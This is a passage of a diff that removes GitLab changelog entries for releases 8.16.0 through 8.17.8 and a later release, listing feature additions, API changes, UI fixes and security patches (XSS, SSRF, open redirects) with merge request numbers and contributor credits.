-- Show directory hierarchy when listing wiki pages. !8133 (Alex Braha Stoll)
-- Migrate SlackService and MattermostService from build_events to pipeline_events, and migrate BuildsEmailService to PipelinesEmailService. Update Hipchat to use pipeline events rather than build events. !8196
-- Execute web hooks for WikiPage delete operation. !8198
-- Added external environment link to web terminal view. !8303
-- Responsive title in diffs inline, side by side, with and without sidebar. !8475
-- Bypass email domain validation when a user is created by an admin. !8575 (Reza Mohammadi @remohammadi)
-- API: Paginate all endpoints that return an array. !8606 (Robert Schilling)
-- pass in current_user in MergeRequest and MergeRequestsHelper. !8624 (Dongqing Hu)
-- Add user & build links in Slack Notifications. !8641 (Poornima M)
-- Todo done clicking is kind of unusable. !8691 (Jacopo Beschi @jacopo-beschi)
-- Filter todos by manual add. !8691 (Jacopo Beschi @jacopo-beschi)
-- Add runner version to /admin/runners view. !8733 (Jonathon Reinhart)
-- API: remove `public` param for projects. !8736
-- Allow creating nested groups via UI. !8786
-- API: Add environment stop action. !8808
-- Add discussion events to contributions calendar. !8821
-- Unify issues search behavior by always filtering when ALL labels matches. !8849
-- V3 deprecated templates endpoints removal. !8853
-- Expose pipelines as PipelineBasic `api/v3/projects/:id/pipelines`. !8875
-- Alphabetically sort tags on runner list. !8922 (blackst0ne)
-- Added documentation for permalinks to most recent build artifacts. !8934 (Christian Godenschwager)
-- Standardize branch name params as branch on V4 API. !8936
-- Move /projects/fork/:id to /projects/:id/fork. !8940
-- Fix small height of activity header page. !8952 (Pavel Sorokin)
-- Optionally make users created via the API set their password. !8957 (Joost Rijneveld)
-- GitHub Importer - Find users based on GitHub email address. !8958
-- API: Consolidate /projects endpoint. !8962
-- Add filtered search visual tokens. !8969
-- Store group and project full name and full path in routes table. !8979
-- Add internal API to notify Gitaly of post receive. !8983
-- Remove inactive default email services. !8987
-- Option to prevent signing in from multiple ips. !8998
-- Download snippets with LF line-endings by default. !8999
-- Fixes dropdown width in admin project page. !9002
-- fixes issue number alignment problem in MR and issue list. !9020
-- Fix CI/CD pipeline retry and take stages order into account. !9021
-- Make stuck builds detection more performant. !9025
-- Filter by projects in the end of search. !9030
-- Add nested groups to the API. !9034
-- Use ETag to improve performance of issue notes polling. !9036
-- Add the oauth2_generic OmniAuth strategy. !9048 (Joe Marty)
-- Brand header logo for pipeline emails. !9049 (Alexis Reigel)
-- replace npm with yarn and add yarn.lock. !9055
-- Fix displaying error messages for create label dropdown. !9058 (Tom Koole)
-- Set dropdown height fixed to 250px and make it scrollable. !9063
-- Update API docs for new namespace format. !9073 (Markus Koller)
-- Replace static fixture for behaviors/quick_submit_spec.js. !9086 (winniehell)
-- Use iids as filter parameter. !9096
-- Manage user personal access tokens through api and add impersonation tokens. !9099 (Simon Vocella)
-- Added the ability to copy a branch name to the clipboard. !9103 (Glenn Sayers)
-- Rename Files::DeleteService to Files::DestroyService. !9110 (dixpac)
-- Fixes FE Doc broken link. !9120
-- Add git version to gitlab:env:info. !9128 (Semyon Pupkov)
-- Replace static fixture for new_branch_spec.js. !9131 (winniehell)
-- Reintroduce coverage report for JavaScript. !9133 (winniehell)
-- Fix MR widget jump. !9146
-- Avoid calling Build#trace_with_state for performance. !9149 (Takuya Noguchi)
-- fix background color for labels mention in todo. !9155 (mhasbini)
-- Replace static fixture for behaviors/requires_input_spec.js. !9162 (winniehell)
-- Added AsciiDoc Snippet to CI/CD Badges. !9164 (Jan Christophersen)
-- Make Karma output look nicer for CI. !9165 (winniehell)
-- show 99+ for large count in todos notification bell. !9171 (mhasbini)
-- Replace static fixture for header_spec.js. !9174 (winniehell)
-- Replace static fixture for project_title_spec.js. !9175 (winniehell)
-- Fixes markdown in activity-feed is gray. !9179
-- Show notifications settings dropdown even if repository feature is disabled. !9180
-- Fixes job dropdown action throws error in js console. !9182
-- Set maximum width for mini pipeline graph text so it is not truncated to early. !9188
-- Added 'Most Recent Activity' header to the User Profile page. !9189 (Jan Christophersen)
-- Show Issues mentioned / being closed from a Merge Requests title below the 'Accept Merge Request' button. !9194 (Jan Christophersen)
-- Stop linking to deleted Branches in Activity tabs. !9203 (Jan Christophersen)
-- Make it possible to pass coverage value to commit status API. !9214 (wendy0402)
-- Add admin setting for default artifacts expiration. !9219
-- add :iids param to IssuableFinder (resolve technical dept). !9222 (mhasbini)
-- Add Links to Branches in Calendar Activity. !9224 (Jan Christophersen)
-- Fix pipeline retry and cancel buttons on pipeline details page. !9225
-- Remove es6 file extension from JavaScript files. !9241 (winniehell)
-- Add Runner's registration/deletion v4 API. !9246
-- Add merge request count to each issue on issues list. !9252 (blackst0ne)
-- Fix error in MR widget after /merge slash command. !9259
-- Clean-up Project navigation order. !9272
-- Add Runner's jobs v4 API. !9273
-- Add pipeline trigger API with user permissions. !9277
-- Enhanced filter issues layout for better mobile experience. !9280 (Pratik Borsadiya)
-- Move babel config for instanbul to karma config. !9286 (winniehell)
-- Document U2F limitations with multiple URLs. !9300
-- Wrap long Project and Group titles. !9301
-- Clean-up Groups navigation order. !9309
-- Truncate long Todo titles for non-mobile screens. !9311
-- add rake tasks to handle yarn dependencies and update documentation. !9316
-- API: - Make subscription API more RESTful. Use `post ":project_id/:subscribable_type/:subscribable_id/subscribe"` to subscribe and `post ":project_id/:subscribable_type/:subscribable_id/unsubscribe"` to unsubscribe from a resource. !9325 (Robert Schilling)
-- API: Moved `DELETE /projects/:id/star` to `POST /projects/:id/unstar`. !9328 (Robert Schilling)
-- API: Use `visibility` as string parameter everywhere. !9337
-- Add the Username to the HTTP(S) clone URL of a Repository. !9347 (Jan Christophersen)
-- Add spec for todo with target_type Commit. !9351 (George Andrinopoulos)
-- API: Remove `DELETE projects/:id/deploy_keys/:key_id/disable`. !9365 (Robert Schilling)
-- Fixes includes line number during unfold copy n paste in parallel diff view. !9365
-- API: Use POST to (un)block a user. !9371 (Robert Schilling)
-- Remove markup that was showing in tooltip for renamed files. !9374
-- Drop unused ci_projects table and some unused project_id columns, then rename gl_project_id to project_id. Stop exporting job trace when exporting projects. !9378 (David Wagner)
-- Adds remote logout functionality to the Authentiq OAuth provider. !9381 (Alexandros Keramidas)
-- Introduce /award slash command; Allow posting of just an emoji in comment. !9382 (mhasbini)
-- API: Remove deprecated fields Notes#upvotes and Notes#downvotes. !9384 (Robert Schilling)
-- Redo internals of Incoming Mail Support. !9385
-- update Vue to v2.1.10. !9386
-- Add button to create issue for failing build. !9391 (Alex Sanford)
-- test compiling production assets and generate webpack bundle report in CI. !9396
-- API: Return 204 for all delete endpoints. !9397 (Robert Schilling)
-- Add KUBE_CA_PEM_FILE, deprecate KUBE_CA_PEM. !9398
-- API: Use POST requests to mark todos as done. !9410 (Robert Schilling)
-- API project create: Make name or path required. !9416
-- Add housekeeping endpoint for Projects API. !9421
-- Fixes delimiter removes when todo marked as done. !9435
-- Document when current coverage configuration option was introduced. !9443
-- Uploaded files which content can change now require revalidation on each page load. !9453
-- Only add a newline in the Markdown Editor if the current line is not empty. !9455 (Jan Christophersen)
-- Rename builds to job for the v4 API. !9463
-- API: Remove /groups/owned endpoint. !9505 (Robert Schilling)
-- API: Return 400 for all validation erros in the mebers API. !9523 (Robert Schilling)
-- Fixes large file name tooltip cutoff in diff header. !9529
-- Keep consistent in handling indexOf results. !9531 (Takuya Noguchi)
-- Make documentation of list repository tree API call more detailed. !9532 (Marius Kleiner)
-- Fix Sort dropdown reflow issue. !9533 (Jarkko Tuunanen)
-- Improve grammar in GitLab flow documentation. !9552 (infogrind)
-- Change default project view for user from readme to files view. !9584
-- Make it possible to configure blocking manual actions. !9585
-- Show public RSS feeds to anonymous users. !9596 (Michael Kozono)
-- Update storage settings to allow extra values per repository storage. !9597
-- Enable filtering milestones by search criteria in the API. !9606
-- Ensure archive download is only one directory deep. !9616
-- Fix updaing commit status when using optional attributes. !9618
-- Add filter and sorting to dashboard groups page. !9619
-- Remove deprecated build status badge and related services. !9620
-- Remove the newrelic gem. !9622 (Robert Schilling)
-- Rename table ci_commits to ci_pipelines. !9638
-- Remove various unused CI tables and columns. !9639
-- Use webpack CommonsChunkPlugin to place common javascript libraries in their own bundles. !9647
-- CORS: Whitelist pagination headers. !9651 (Robert Schilling)
-- Remove "subscribed" field from API responses returning list of issues or merge requests. !9661
-- Highlight line number if specified on diff pages when page loads. !9664
-- Set default cache key to "default" for jobs. !9666
-- Set max height to screen height for Zen mode. !9667
-- GET 'projects/:id/repository/commits' endpoint improvements. !9679 (George Andrinopoulos, Jordan Ryan Reuter)
-- Restore keyboard shortcuts for "Activity" and "Charts". !9680
-- Added commit array to Syshook json. !9685 (Gabriele Pongelli)
-- Document ability to list issues with no labels using API. !9697 (Vignesh Ravichandran)
-- Fix typo in GitLab config file. !9702 (medied)
-- Fix json response in branches controller. !9710 (George Andrinopoulos)
-- Refactor dropdown_assignee_spec. !9711 (George Andrinopoulos)
-- Delete artifacts for pages unless expiry date is specified. !9716
-- Use gitlab-workhorse 1.4.0. !9724
-- Add GET /projects/:id/pipelines/:pipeline_id/jobs endpoint. !9727
-- Restrict nested group names to prevent ambiguous routes. !9738
-- Rename job environment variables to new terminology. !9756
-- Deprecate usage of `types` configuration entry to describe CI/CD stages. !9766
-- Moved project settings from the gear drop-down menu to a tab. !9786
-- Fix "passed with warnings" stage status on MySQL installations. !9802
-- Fix for creating a project through API when import_url is nil. !9841
-- Use GitLab Pages v0.4.0. !9896
-- Reserve few project and nested group paths that have wildcard routes associated. !9898
-- Speed up project dashboard by caching pipeline status and eager loading routes. !9903
-- Fixes n+1 query for tags and branches index page. !9905
-- Hide ancestor groups in the share group dropdown list. !9965
-- Allow creating merge request even if target branch is not specified in query params. !9968
-- Removed d3 from the main application.js bundle. !10062
-- Return 404 in project issues API endpoint when project cannot be found. !10093
-- Fix positioning of `Scroll to top` button.
-- Add limit to the number of events showed in cycle analytics.
-- Only run timeago loops after rendering timeago components.
-- Increase right side of file header to button stays on same line.
-- Centers loading icon vertically and horizontally in pipelines table in commit view.
-- Fix issues mentioned but not closed for external issue trackers.
-- fix milestone does not automatically assign when create issue from milestone.
-- Re-add Assign to me link to Merge Request and Issues.
-- Format timeago date to short format.
-- Fix errors in slash commands matcher, add simple test coverage. (YarNayar)
-- Make Git history follow renames again by performing the --skip in Ruby.
-- Added option to update to owner for group members.
-- Pick up option from GDK to disable webpack dev server livereload.
-- Introduce Pipeline Triggers that are user-aware.
-- Fixed loading spinner position on issue template toggle.
-- Removed duplicate "Visibility Level" label on New Project page. (Robert Marcano)
-- Fix 'New Tag' layout on Tags page. (Robert Marcano)
-- Update API endpoints for raw files.
-- Fix issuable stale object error handler for js when updating tasklists.
-- Gather issuable metadata to avoid n+1 queries on index view.
-- Remove JIRA closed status icon.
-- Fix z index issues with sidebar.
-- Fixed long file names overflowing under action buttons.
-- Only show public emails in atom feeds.
-- Add Mock CI service/integration for development.
-- Move tag services to Tags namespace. (dixpac)
-- Set Auto-Submitted header to mails. (Semyon Pupkov)
-- Improved diff comment button UX.
-- Adds API endpoint to fetch all merge request for a single milestone. (Joren De Groof)
-- Only create unmergeable todos once when MR fails to merge.
-- Only yield valid references in ReferenceFilter.references_in.
-- Add member: Always return 409 when a member exists.
-- Remove plus icon from MR button on compare view.
-- Re-add the New Project button in nav bar.
-- Default to subtle MR mege button until CI status is available.
-- Rename priority sorting option to label priority.
-- Added headers to protected branch access dropdowns.
-- Hide issue info when project issues are disabled. (George Andrinopoulos)
-- removed unused parameter 'status_only: true'.
-- Left align logo.
-- Replaced jQuery UI datepicker.
-- Removed jQuery UI highlight & autocomplete.
-- Replaced jQuery UI sortable.
-- Remove readme-only project view preference.
-- Remove tooltips from label subscription buttons.
-- Rename retry failed button on pipeline page to just retry.
-- Align bulk update issues button to the right.
-- Remove remnants of git annex support.
-- Dispatch needed JS when creating a new MR in diff view.
-- Change project count limit from 10 to 100000.
-- Remove repeated routes.path check for postgresql database. (mhasbini)
-- Fixed RSS button alignment on activity pages.
-- Seed abuse reports for development.
-- Bump Hashie to 3.5.5 and omniauth to 1.4.2 to eliminate warning noise.
-- Add user deletion permission check in `Users::DestroyService`.
-- Fix snippets search result spacing.
-- Sort builds in stage dropdown.
-- SSH key field updates title after pasting key.
-- To protect against Server-side Request Forgery project import URLs are now prohibited against localhost or the server IP except for the assigned instance URL and port. Imports are also prohibited from ports below 1024 with the exception of ports 22, 80, and 443.
-- Remove fixed positioning from top nav.
-- Deduplicate markdown task lists.
-- update issue count when closing/reopening an issue.
-- Update code editor (ACE) to 1.2.6, to fix input problems with compose key.
-- Improves a11y in sidebar by adding aria-hidden attributes in i tags and by fixing two broken aria-hidden attributes.
-- Use redis channel to post notifications.
-- Removed top border from user contribution calendar.
-- Added user callouts to the projects dashboard and user profile.
-- Removes label when moving issue to another list that it is currently in.
-- Return 202 with JSON body on async removals on V4 API.
-- Add filtered search to MR page.
-- Add frequently used emojis back to awards menu.
-- don't animate logo when downloading files.
-- Stop setting Strict-Transport-Securty header from within the app.
-- Use "branch_name" instead "branch" on V3 branch creation API.
-- Fix archive prefix bug for refs containing dots.
-- ensure MR widget dropdown is same color as button.
-- Adds Pending and Finished tabs to pipelines page.
-- Decrease tanuki logo size.
-- Add all available statuses to scope filter for project builds endpoint. (George Andrinopoulos)
-- Add filter param for project membership for current_user in API v4.
-- Remove help link from right dropdown.
-- Fix jobs table header height.
-- Combined deploy keys, push rules, protect branches and mirror repository settings options into a single one called Repository.
-- Add storage class configuration option for Amazon S3 remote backups. (Jon Keys)
-- Specify in the documentation that only projects owners can transfer projects.
-- Use native unicode emojis.
-- Clear ActiveRecord connections before starting Sidekiq.
-- Update account view to display new username.
-- Narrow environment payload by using basic project details resource.
-- Creating a new branch from an issue will automatically initialize a repository if one doesn't already exist.
-- Dashboard project search keeps selected sort & filters.
-- Visually show expanded diff lines cant have comments.
-- Use full group name in GFM group reference title.
-- Make a default namespace of Kubernetes service to contain project ID.
-- Present GitLab version for each V3 to V4 API change on v3_to_v4.md.
-- Add badges to global dropdown.
-- Changed coverage reg expression placeholder text to be more like a placeholder.
-- Show members of parent groups on project members page.
-- Fix grammar issue in admin/runners.
-- Allow slashes in slash command arguments.
-- Adds paginationd and folders view to environments table.
-- hide loading spinners for server-rendered sidebar fields.
-- Change development tanuki favicon colors to match logo color order.
-- API issues - support filtering by iids.
-
-## 8.17.8 (2017-08-09)
-
-- Remove hidden symlinks from project import files.
-- Disallow Git URLs that include a username or hostname beginning with a non-alphanumeric character.
-
-## 8.17.7 (2017-07-19)
-
-- Renders 404 if given project is not readable by the user on Todos dashboard.
-- Fix incorrect project authorizations.
-
-## 8.17.6 (2017-05-05)
-
-- Enforce project features when searching blobs and wikis.
-- Fixed branches dropdown rendering branch names as HTML.
-- Make Asciidoc & other markup go through pipeline to prevent XSS.
-- Validate URLs in markdown using URI to detect the host correctly.
-- Fix for XSS in project import view caused by Hamlit filter usage.
-- Sanitize submodule URLs before linking to them in the file tree view.
-- Refactor snippets finder & dont return internal snippets for external users.
-- Fix snippets visibility for show action - external users can not see internal snippets.
-
-## 8.17.5 (2017-04-05)
-
-- Don’t show source project name when user does not have access.
-- Remove the class attribute from the whitelist for HTML generated from Markdown.
-- Fix path disclosure in project import/export.
-- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
-- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
-
-## 8.17.4 (2017-03-19)
-
-- Only show public emails in atom feeds.
-- To protect against Server-side Request Forgery project import URLs are now prohibited against localhost or the server IP except for the assigned instance URL and port. Imports are also prohibited from ports below 1024 with the exception of ports 22, 80, and 443.
-
-## 8.17.3 (2017-03-07)
-
-- Fix the redirect to custom home page URL. !9518
-- Fix broken migration when upgrading straight to 8.17.1. !9613
-- Make projects dropdown only show projects you are a member of. !9614
-- Fix creating a file in an empty repo using the API. !9632
-- Don't copy tooltip when copying GFM.
-- Fix cherry-picking or reverting through an MR.
-
-## 8.17.2 (2017-03-01)
-
-- Expire all webpack assets after 8.17.1 included a badly compiled asset. !9602
-
-## 8.17.1 (2017-02-28)
-
-- Replace setInterval with setTimeout to prevent highly frequent requests. !9271 (Takuya Noguchi)
-- Disable unused tags count cache for Projects, Builds and Runners.
-- Spam check and reCAPTCHA improvements.
-- Allow searching issues for strings containing colons.
-- Disabled tooltip on add issues button in usse boards.
-- Fixed commit search UI.
-- Fix MR changes tab size count when there are over 100 files in the diff.
-- Disable invalid service templates.
-- Use default branch as target_branch when parameter is missing.
-- Upgrade GitLab Pages to v0.3.2.
-- Add performance query regression fix for !9088 affecting #27267.
-- Chat slash commands show labels correctly.
-
-## 8.17.0 (2017-02-22)
-
-- API: Fix file downloading. !0 (8267)
-- Changed composer installer script in the CI PHP example doc. !4342 (Jeffrey Cafferata)
-- Display fullscreen button on small screens. !5302 (winniehell)
-- Add system hook for when a project is updated (other than rename/transfer). !5711 (Tommy Beadle)
-- Fix notifications when set at group level. !6813 (Alexandre Maia)
-- Project labels can now be promoted to group labels. !7242 (Olaf Tomalka)
-- use webpack to bundle frontend assets and use karma for frontend testing. !7288
-- Adds back ability to stop all environments. !7379
-- Added labels empty state. !7443
-- Add ability to define a coverage regex in the .gitlab-ci.yml. !7447 (Leandro Camargo)
-- Disable automatic login after clicking email confirmation links. !7472
-- Search feature: redirects to commit page if query is commit sha and only commit found. !8028 (YarNayar)
-- Create a TODO for user who set auto-merge when a build fails, merge conflict occurs. !8056 (twonegatives)
-- Don't group issues by project on group-level and dashboard issue indexes. !8111 (Bernardo Castro)
-- Mark MR as WIP when pushing WIP commits. !8124 (Jurre Stender @jurre)
-- Flag multiple empty lines in eslint, fix offenses. !8137
-- Add sorting pipeline for a commit. !8319 (Takuya Noguchi)
-- Adds service trigger events to api. !8324
-- Update pipeline and commit links when CI status is updated. !8351
-- Hide version check image if there is no internet connection. !8355 (Ken Ding)
-- Prevent removal of input fields if it is the parent dropdown element. !8397
-- Introduce maximum session time for terminal websocket connection. !8413
-- Allow creating protected branches when user can merge to such branch. !8458
-- Refactor MergeRequests::BuildService. !8462 (Rydkin Maxim)
-- Added GitLab Pages to CE. !8463
-- Support notes when a project is not specified (personal snippet notes). !8468
-- Use warning icon in mini-graph if stage passed conditionally. !8503
-- Don’t count tasks that are not defined as list items correctly. !8526
-- Reformat messages ChatOps. !8528
-- Copy commit SHA to clipboard. !8547
-- Improve button accessibility on pipelines page. !8561
-- Display project ID in project settings. !8572 (winniehell)
-- PlantUML support for Markdown. !8588 (Horacio Sanson)
-- Fix reply by email without sub-addressing for some clients from Microsoft and Apple. !8620
-- Fix nested tasks in ordered list. !8626
-- Fix Sort by Recent Sign-in in Admin Area. !8637 (Poornima M)
-- Avoid repeated dashes in $CI_ENVIRONMENT_SLUG. !8638
-- Only show Merge Request button when user can create a MR. !8639
-- Prevent copying of line numbers in parallel diff view. !8706
-- Improve build policy and access abilities. !8711
-- API: Remove /projects/:id/keys/.. endpoints. !8716 (Robert Schilling)
-- API: Remove deprecated 'expires_at' from project snippets. !8723 (Robert Schilling)
-- Add `copy` backup strategy to combat file changed errors. !8728
-- adds avatar for discussion note. !8734
-- Add link verification to badge partial in order to render a badge without a link. !8740
-- Reduce hits to LDAP on Git HTTP auth by reordering auth mechanisms. !8752
-- prevent diff unfolding link from appearing when there are no more lines to show. !8761
-- Redesign searchbar in admin project list. !8776
-- Rename Builds to Pipelines, CI/CD Pipelines, or Jobs everywhere. !8787
-- dismiss sidebar on repo buttons click. !8798 (Adam Pahlevi)
-- fixed small mini pipeline graph line glitch. !8804
-- Make all system notes lowercase. !8807
-- Support unauthenticated LFS object downloads for public projects. !8824 (Ben Boeckel)
-- Add read-only full_path and full_name attributes to Group API. !8827
-- allow relative url change without recompiling frontend assets. !8831
-- Use vue.js Pipelines table in commit and merge request view. !8844
-- Use reCaptcha when an issue is identified as a spam. !8846
-- resolve deprecation warnings. !8855 (Adam Pahlevi)
-- Cop for gem fetched from a git source. !8856 (Adam Pahlevi)
-- Remove flash warning from login page. !8864 (Gerald J. Padilla)
-- Adds documentation for how to use Vue.js. !8866
-- Add 'View on [env]' link to blobs and individual files in diffs. !8867
-- Replace word user with member. !8872
-- Change the reply shortcut to focus the field even without a selection. !8873 (Brian Hall)
-- Unify MR diff file button style. !8874
-- Unify projects search by removing /projects/:search endpoint. !8877
-- Fix disable storing of sensitive information when importing a new repo. !8885 (Bernard Pietraga)
-- Fix pipeline graph vertical spacing in Firefox and Safari. !8886
-- Fix filtered search user autocomplete for gitlab instances that are hosted on a subdirectory. !8891
-- Fix Ctrl+Click support for Todos and Merge Request page tabs. !8898
-- Fix wrong call to ProjectCacheWorker.perform. !8910
-- Don't perform Devise trackable updates on blocked User records. !8915
-- Add ability to export project inherited group members to Import/Export. !8923
-- replace `find_with_namespace` with `find_by_full_path`. !8949 (Adam Pahlevi)
-- Fixes flickering of avatar border in mention dropdown. !8950
-- Remove unnecessary queries for .atom and .json in Dashboard::ProjectsController#index. !8956
-- Fix deleting projects with pipelines and builds. !8960
-- Fix broken anchor links when special characters are used. !8961 (Andrey Krivko)
-- Ensure autogenerated title does not cause failing spec. !8963 (brian m. carlson)
-- Update doc for enabling or disabling GitLab CI. !8965 (Takuya Noguchi)
-- Remove deprecated MR and Issue endpoints and preserve V3 namespace. !8967
-- Fixed "substract" typo on /help/user/project/slash_commands. !8976 (Jason Aquino)
-- Preserve backward compatibility CI/CD and disallow setting `coverage` regexp in global context. !8981
-- use babel to transpile all non-vendor javascript assets regardless of file extension. !8988
-- Fix MR widget url. !8989
-- Fixes hover cursor on pipeline pagenation. !9003
-- Layer award emoji dropdown over the right sidebar. !9004
-- Do not display deploy keys in user's own ssh keys list. !9024
-- upgrade babel 5.8.x to babel 6.22.x. !9072
-- upgrade to webpack v2.2. !9078
-- Trigger autocomplete after selecting a slash command. !9117
-- Add space between text and loading icon in Megre Request Widget. !9119
-- Fix job to pipeline renaming. !9147
-- Replace static fixture for merge_request_tabs_spec.js. !9172 (winniehell)
-- Replace static fixture for right_sidebar_spec.js. !9211 (winniehell)
-- Show merge errors in merge request widget. !9229
-- Increase process_commit queue weight from 2 to 3. !9326 (blackst0ne)
-- Don't require lib/gitlab/request_profiler/middleware.rb in config/initializers/request_profiler.rb.
-- Force new password after password reset via API. (George Andrinopoulos)
-- Allows to search within project by commit hash. (YarNayar)
-- Show organisation membership and delete comment on smaller viewports, plus change comment author name to username.
-- Remove turbolinks.
-- Convert pipeline action icons to svg to have them properly positioned.
-- Remove rogue scrollbars for issue comments with inline elements.
-- Align Segoe UI label text.
-- Color + and - signs in diffs to increase code legibility.
-- Fix tab index order on branch commits list page. (Ryan Harris)
-- Add hover style to copy icon on commit page header. (Ryan Harris)
-- Remove hover animation from row elements.
-- Improve pipeline status icon linking in widgets.
-- Fix commit title bar and repository view copy clipboard button order on last commit in repository view.
-- Fix mini-pipeline stage tooltip text wrapping.
-- Updated builds info link on the project settings page. (Ryan Harris)
-- 27240 Make progress bars consistent.
-- Only render hr when user can't archive project.
-- 27352-search-label-filter-header.
-- Include :author, :project, and :target in Event.with_associations.
-- Don't instantiate AR objects in Event.in_projects.
-- Don't capitalize environment name in show page.
-- Update and pin the `jwt` gem to ~> 1.5.6.
-- Edited the column header for the environments list from created to updated and added created to environments detail page colum header titles.
-- Give ci status text on pipeline graph a better font-weight.
-- Add default labels to bulk assign dropdowns.
-- Only return target project's comments for a commit.
-- Fixes Pipelines table is not showing branch name for commit.
-- Fix regression where cmd-click stopped working for todos and merge request tabs.
-- Fix stray pipelines API request when showing MR.
-- Fix Merge request pipelines displays JSON.
-- Fix current build arrow indicator.
-- Fix contribution activity alignment.
-- Show Pipeline(not Job) in MR desktop notification.
-- Fix tooltips in mini pipeline graph.
-- Display loading indicator when filtering ref switcher dropdown.
-- Show pipeline graph in MR widget if there are any stages.
-- Fix icon colors in merge request widget mini graph.
-- Improve blockquote formatting in notification emails.
-- Adds container to tooltip in order to make it work with overflow:hidden in parent element.
-- Restore pagination to admin abuse reports.
-- Ensure export files are removed after a namespace is deleted.
-- Add `y` keyboard shortcut to move to file permalink.
-- Adds /target_branch slash command functionality for merge requests. (YarNayar)
-- Patch Asciidocs rendering to block XSS.
-- contribution calendar scrolls from right to left.
-- Copying a rendered issue/comment will paste into GFM textareas as actual GFM.
-- Don't delete assigned MRs/issues when user is deleted.
-- Remove new branch button for confidential issues.
-- Don't allow project guests to subscribe to merge requests through the API. (Robert Schilling)
-- Don't connect in Gitlab::Database.adapter_name.
-- Prevent users from creating notes on resources they can't access.
-- Ignore encrypted attributes in Import/Export.
-- Change rspec test to guarantee window is resized before visiting page.
-- Prevent users from deleting system deploy keys via the project deploy key API.
-- Fix XSS vulnerability in SVG attachments.
-- Make MR-review-discussions more reliable.
-- fix incorrect sidekiq concurrency count in admin background page. (wendy0402)
-- Make notification_service spec DRYer by making test reusable. (YarNayar)
-- Redirect http://someproject.git to http://someproject. (blackst0ne)
-- Fixed group label links in issue/merge request sidebar.
-- Improve gl.utils.handleLocationHash tests.
-- Fixed Issuable sidebar not closing on smaller/mobile sized screens.
-- Resets assignee dropdown when sidebar is open.
-- Disallow system notes for closed issuables.
-- Fix timezone on issue boards due date.
-- Remove unused js response from refs controller.
-- Prevent the GitHub importer from assigning labels and comments to merge requests or issues belonging to other projects.
-- Fixed merge requests tab extra margin when fixed to window.
-- Patch XSS vulnerability in RDOC support.
-- Refresh authorizations when transferring projects.
-- Remove issue and MR counts from labels index.
-- Don't use backup Active Record connections for Sidekiq.
-- Add index to ci_trigger_requests for commit_id.
-- Add indices to improve loading of labels page.
-- Reduced query count for snippet search.
-- Update GitLab Pages to v0.3.1.
-- Upgrade omniauth gem to 1.3.2.
-- Remove deprecated GitlabCiService.
-- Requeue pending deletion projects.
-
-## 8.16.9 (2017-04-05)
-
-- Don’t show source project name when user does not have access.
-- Remove the class attribute from the whitelist for HTML generated from Markdown.
-- Fix path disclosure in project import/export.
-- Fix for open redirect vulnerability using continue[to] in URL when requesting project import status.
-- Fix for open redirect vulnerabilities in todos, issues, and MR controllers.
-
-## 8.16.8 (2017-03-19)
-
-- Only show public emails in atom feeds.
-- To protect against Server-side Request Forgery project import URLs are now prohibited against localhost or the server IP except for the assigned instance URL and port. Imports are also prohibited from ports below 1024 with the exception of ports 22, 80, and 443.
-
-## 8.16.7 (2017-02-27)
-
-- Fix MR changes tab size count when there are over 100 files in the diff.
-
-## 8.16.6 (2017-02-17)
-
-- API: Fix file downloading. !0 (8267)
-- Reduce hits to LDAP on Git HTTP auth by reordering auth mechanisms. !8752
-- Fix filtered search user autocomplete for gitlab instances that are hosted on a subdirectory. !8891
-- Fix wrong call to ProjectCacheWorker.perform. !8910
-- Remove unnecessary queries for .atom and .json in Dashboard::ProjectsController#index. !8956
-- Fix broken anchor links when special characters are used. !8961 (Andrey Krivko)
-- Do not display deploy keys in user's own ssh keys list. !9024
-- Show merge errors in merge request widget. !9229
-- Don't delete assigned MRs/issues when user is deleted.
-- backport of EE fix !954.
-- Refresh authorizations when transferring projects.
-- Don't use backup Active Record connections for Sidekiq.
-- Check public snippets for spam.
-
-## 8.16.5 (2017-02-14)
-
-- Patch Asciidocs rendering to block XSS.
-- Fix XSS vulnerability in SVG attachments.
-- Prevent the GitHub importer from assigning labels and comments to merge requests or issues belonging to other projects.
-- Patch XSS vulnerability in RDOC support.
-
-## 8.16.4 (2017-02-02)
-
-- Support non-ASCII characters in GFM autocomplete. !8729
-- Fix search bar search param encoding. !8753
-- Fix project name label's for reference in project settings. !8795
-- Fix filtering with multiple words. !8830
-- Fixed services form cancel not redirecting back the integrations settings view. !8843
-- Fix filtering usernames with multiple words. !8851
-- Improve performance of slash commands. !8876
-- Remove old project members when retrying an export.
-- Fix permalink discussion note being collapsed.
-- Add project ID index to `project_authorizations` table to optimize queries.
-- Check public snippets for spam.
-- 19164 Add settings dropdown to mobile screens.
-
-## 8.16.3 (2017-01-27)
-
-- Add caching of droplab ajax requests. !8725
-- Fix access to the wiki code via HTTP when repository feature disabled. !8758
-- Revert 3f17f29a. !8785
-- Fix race conditions for AuthorizedProjectsWorker.
-- Fix autocomplete initial undefined state.
-- Fix Error 500 when repositories contain annotated tags pointing to blobs.
-- Fix /explore sorting.
-- Fixed label dropdown toggle text not correctly updating.
-
-## 8.16.2 (2017-01-25)
-
-- allow issue filter bar to be operated with mouse only. !8681
-- Fix CI requests concurrency for newer runners that prevents from picking pending builds (from 1.9.0-rc5). !8760
-- Add some basic fixes for IE11/Edge.
-- Remove blue border from comment box hover.
-- Fixed bug where links in merge dropdown wouldn't work.
-
-## 8.16.1 (2017-01-23)
-
-- Ensure export files are removed after a namespace is deleted.
-- Don't allow project guests to subscribe to merge requests through the API. (Robert Schilling)
-- Prevent users from creating notes on resources they can't access.
-- Prevent users from deleting system deploy keys via the project deploy key API.
-- Upgrade omniauth gem to 1.3.2.
-
-## 8.16.0 (2017-01-22)
-
-- Add LDAP Rake task to rename a provider. !2181
-- Validate label's title length. !5767 (Tomáš Kukrál)
-- Allow to add deploy keys with write-access. !5807 (Ali Ibrahim)
-- Allow to use + symbol in filenames. !6644 (blackst0ne)
-- Search bar redesign first iteration. !7345
-- Fix date inconsistency on due date picker. !7422 (Giuliano Varriale)
-- Add email confirmation field to registration form. !7432
-- Updated project visibility settings UX. !7645
-- Go to a project order. !7737 (Jacopo Beschi @jacopo-beschi)
-- Support slash comand `/merge` for merging merge requests. !7746 (Jarka Kadlecova)
-- Add more storage statistics. !7754 (Markus Koller)
-- Add support for PlantUML diagrams in AsciiDoc documents. !7810 (Horacio Sanson)
-- Remove extra orphaned rows when removing stray namespaces. !7841
-- Added lighter count badge background-color for on white backgrounds. !7873
-- Fixes issue boards list colored top border visual glitch. !7898 (Pier Paolo Ramon)
-- change 'gray' color theme name to 'black' to match the actual color. !7908 (BM5k)
